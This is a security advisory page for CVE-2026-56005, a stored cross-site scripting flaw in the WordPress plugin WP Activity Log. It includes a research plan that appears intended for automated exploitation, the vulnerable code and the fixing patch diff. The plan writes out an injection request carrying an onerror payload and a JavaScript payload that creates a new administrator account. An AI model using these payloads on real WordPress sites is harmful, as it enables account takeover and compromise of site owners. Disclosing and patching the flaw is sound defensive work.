CVE-2026-56005

WP Activity Log <= 5.6.3.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
5.6.4
Patched in
5d
Time to patch

Description

The WP Activity Log plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.6.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.6.3.1
PublishedJune 19, 2026
Last updatedJune 23, 2026
Affected pluginwp-security-audit-log

What Changed in the Fix

Changes introduced in v5.6.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the exploitation of a Stored Cross-Site Scripting (XSS) vulnerability in **WP Activity Log <= 5.6.3.1**. The vulnerability exists because the plugin fails to sanitize and escape user-controlled metadata (such as profile fields) before rendering it in the Audit Log viewer,…

Show full research plan

This research plan outlines the exploitation of a Stored Cross-Site Scripting (XSS) vulnerability in WP Activity Log <= 5.6.3.1. The vulnerability exists because the plugin fails to sanitize and escape user-controlled metadata (such as profile fields) before rendering it in the Audit Log viewer, specifically within user tooltips.

1. Vulnerability Summary

The vulnerability is located in the WSAL\Helpers\User_Utils::get_tooltip_user_content function within classes/Helpers/class-user-utils.php. This function constructs an HTML string for a tooltip meant to show user details in the activity log. It directly concatenates user properties like first_name, last_name, and user_nicename without applying esc_html() or similar escaping functions.

When an authenticated user (Subscriber or higher) updates their profile with a malicious script, the plugin logs this activity. When an administrator views the activity log and interacts with the entry (e.g., hovering over the user's name), the unsanitized script executes in the administrator's browser context.

2. Attack Vector Analysis

  • Vulnerable Sink: WSAL\Helpers\User_Utils::get_tooltip_user_content (concatenating raw user data into HTML).
  • Injection Point: WordPress Profile update fields (first_name, last_name, nickname/user_nicename).
  • Authentication: Subscriber-level access or higher.
  • Preconditions: The WP Activity Log plugin must be active (it logs profile changes by default).
  • Target Page: The Activity Log Viewer (/wp-admin/admin.php?page=wsal-auditlog).

3. Code Flow

  1. Injection: A Subscriber updates their profile at /wp-admin/profile.php.
  2. Logging: WP Activity Log's sensors (e.g., WP_Content_Sensor) detect the profile change and call WSAL\Controllers\Alert_Manager::trigger_event.
  3. Storage: The event is stored in the wsal_occurrences table, and the user's ID/Username is recorded.
  4. Retrieval: An Administrator accesses the Audit Log viewer. The viewer (via WSAL_Views_AuditLog) prepares the table rows.
  5. Rendering (The Sink): For the "User" column, the plugin generates a tooltip to show more details. It calls WSAL\Helpers\User_Utils::get_tooltip_user_content($user_object).
  6. Execution:
    // classes/Helpers/class-user-utils.php
    public static function get_tooltip_user_content( $user ) {
        // ... labels are escaped, but values are NOT
        $tooltip .= ( ! empty( $user->data->first_name ) ) ? '<strong>' . esc_attr__( 'First name: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->first_name . '</br>' : '';
        // $user->data->first_name contains the XSS payload
        return $tooltip;
    }
    
  7. The resulting HTML is sent to the browser and injected into the DOM (typically via an onmouseover attribute or a data-attribute handled by JS), triggering the payload.

4. Nonce Acquisition Strategy

This exploit leverages the plugin's monitoring of core WordPress actions. Therefore, the only nonce required is the standard WordPress profile update nonce.

  1. Navigate to /wp-admin/profile.php as the Subscriber.
  2. Extract the nonce using browser_eval:
    browser_eval("document.querySelector('#_wpnonce').value")
  3. Perform the profile update via http_request.

No plugin-specific nonce is required to trigger the logging; the plugin automatically captures the profile change.

5. Exploitation Strategy

  1. Subscriber Login: Authenticate as a Subscriber user.
  2. Profile Update (Injection):
    • Method: POST
    • URL: /wp-admin/profile.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Payload:
      action=update&user_id=[SUBSCRIBER_ID]&nickname=attacker&first_name=<img src=x onerror=alert('CVE-2026-56005_XSS')>&_wpnonce=[NONCE]
      
  3. Admin Login: Authenticate as an Administrator.
  4. Trigger Execution:
    • Navigate to /wp-admin/admin.php?page=wsal-auditlog.
    • Locate the log entry for "User updated their profile" (Alert ID 4001).
    • Interact with the "User" column. The XSS may trigger on page load or when hovering over the username, depending on how the plugin enqueues the tooltip HTML.

6. Test Data Setup

  1. Users:
    • An Administrator user.
    • A Subscriber user (Username: subscriber_vct, Password: password123).
  2. Plugin Configuration: Ensure "WP Activity Log" is activated and "User Profile" monitoring is enabled (default).
  3. Environment: WordPress environment with the vulnerable version of the plugin (5.6.3.1).

7. Expected Results

  • The profile update request should return a 302 redirect (success).
  • When the Admin visits the Activity Log, the payload <img src=x onerror=...> will be present in the HTML source or dynamically loaded into the DOM.
  • A JavaScript alert box with the text CVE-2026-56005_XSS should appear.

8. Verification Steps

  1. Verify DB Storage: Use WP-CLI to confirm the payload is in the user metadata:
    wp user get subscriber_vct --field=first_name
  2. Verify Log Entry: Check that the event was logged:
    wp db query "SELECT * FROM wp_wsal_occurrences WHERE alert_id = 4001 ORDER BY created_on DESC LIMIT 1"
  3. Confirm Lack of Escaping: Check the response of the Log Viewer page for the raw payload:
    http_request to /wp-admin/admin.php?page=wsal-auditlog and search the response body for the <img src=x... string.

9. Alternative Approaches

  • Alternative Injection Fields: If first_name is filtered by a WAF, try last_name or nickname, as all are handled identically in get_tooltip_user_content.
  • Display Name XSS: If the log viewer uses User_Utils::get_display_label without escaping in the main table view, the XSS will trigger automatically upon page load for anyone viewing the log. Set the "Display name publicly as" field to the payload in profile.php.
  • CSRF via XSS: To demonstrate high impact, use a payload that creates a new admin user:
    fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{
        let n=h.match(/name="_wpnonce_create-user" value="([^"]+)"/)[1];
        fetch('/wp-admin/user-new.php',{method:'POST',body:`action=createuser&user_login=hacked&email=h@cked.com&pass1=Password123!&pass2=Password123!&role=administrator&_wpnonce_create-user=${n}`,headers:{'Content-Type':'application/x-www-form-urlencoded'}})
    })
    
Research Findings
Static analysis — not yet PoC-verified

Summary

WP Activity Log versions up to 5.6.3.1 are vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient output escaping of user profile metadata. An authenticated attacker with Subscriber-level access can inject malicious scripts into their profile fields (like first name or nickname), which then execute in the context of an administrator viewing the activity log's user tooltips.

Vulnerable Code

// classes/Helpers/class-user-utils.php:172
$tooltip  = '<strong>' . esc_attr__( 'Username: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->user_login . '</br>';
$tooltip .= ( ! empty( $user->data->first_name ) ) ? '<strong>' . esc_attr__( 'First name: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->first_name . '</br>' : '';
$tooltip .= ( ! empty( $user->data->last_name ) ) ? '<strong>' . esc_attr__( 'Last Name: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->last_name . '</br>' : '';
$tooltip .= '<strong>' . esc_attr__( 'Email: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->user_email . '</br>';
$tooltip .= '<strong>' . esc_attr__( 'Nickname: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->user_nicename . '</br></br>';

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-security-audit-log/5.6.3.1/classes/Helpers/class-user-utils.php	2026-05-11 12:31:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-security-audit-log/5.6.4/classes/Helpers/class-user-utils.php	2026-06-02 09:44:42.000000000 +0000
@@ -169,11 +169,11 @@
 				return '';
 			}
 
-			$tooltip  = '<strong>' . esc_attr__( 'Username: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->user_login . '</br>';
-			$tooltip .= ( ! empty( $user->data->first_name ) ) ? '<strong>' . esc_attr__( 'First name: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->first_name . '</br>' : '';
-			$tooltip .= ( ! empty( $user->data->last_name ) ) ? '<strong>' . esc_attr__( 'Last Name: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->last_name . '</br>' : '';
-			$tooltip .= '<strong>' . esc_attr__( 'Email: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->user_email . '</br>';
-			$tooltip .= '<strong>' . esc_attr__( 'Nickname: ', 'wp-security-audit-log' ) . '</strong>' . $user->data->user_nicename . '</br></br>';
+			$tooltip  = '<strong>' . \esc_attr__( 'Username: ', 'wp-security-audit-log' ) . '</strong>' . \esc_html( $user->data->user_login ) . '</br>';
+			$tooltip .= ( ! empty( $user->data->first_name ) ) ? '<strong>' . \esc_attr__( 'First name: ', 'wp-security-audit-log' ) . '</strong>' . \esc_html( $user->data->first_name ) . '</br>' : '';
+			$tooltip .= ( ! empty( $user->data->last_name ) ) ? '<strong>' . \esc_attr__( 'Last Name: ', 'wp-security-audit-log' ) . '</strong>' . \esc_html( $user->data->last_name ) . '</br>' : '';
+			$tooltip .= '<strong>' . \esc_attr__( 'Email: ', 'wp-security-audit-log' ) . '</strong>' . \esc_html( $user->data->user_email ) . '</br>';
+			$tooltip .= '<strong>' . \esc_attr__( 'Nickname: ', 'wp-security-audit-log' ) . '</strong>' . \esc_html( $user->data->user_nicename ) . '</br></br>';
 
 			/**
 			 * WSAL Filter: `wsal_additional_user_tooltip_content'
@@ -185,7 +185,7 @@
 			 * @param string $content Blank string to append to.
 			 * @param object  $user  - User object.
 			 */
-			$additional_content = apply_filters( 'wsal_additional_user_tooltip_content', '', $user );
+			$additional_content = \wp_kses_post( (string) \apply_filters( 'wsal_additional_user_tooltip_content', '', $user ) );
 
 			$tooltip .= $additional_content;

Exploit Outline

An attacker with Subscriber-level authentication logs into the WordPress dashboard and navigates to the profile update page (/wp-admin/profile.php). They inject an XSS payload (e.g., <img src=x onerror=alert(1)>) into fields such as 'First Name', 'Last Name', or 'Nickname'. Since the plugin automatically logs profile changes, the malicious script is stored in the activity log metadata. When an Administrator views the Audit Log (/wp-admin/admin.php?page=wsal-auditlog) and interacts with the 'User' column (triggering the unescaped tooltip content), the payload executes in the Administrator's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.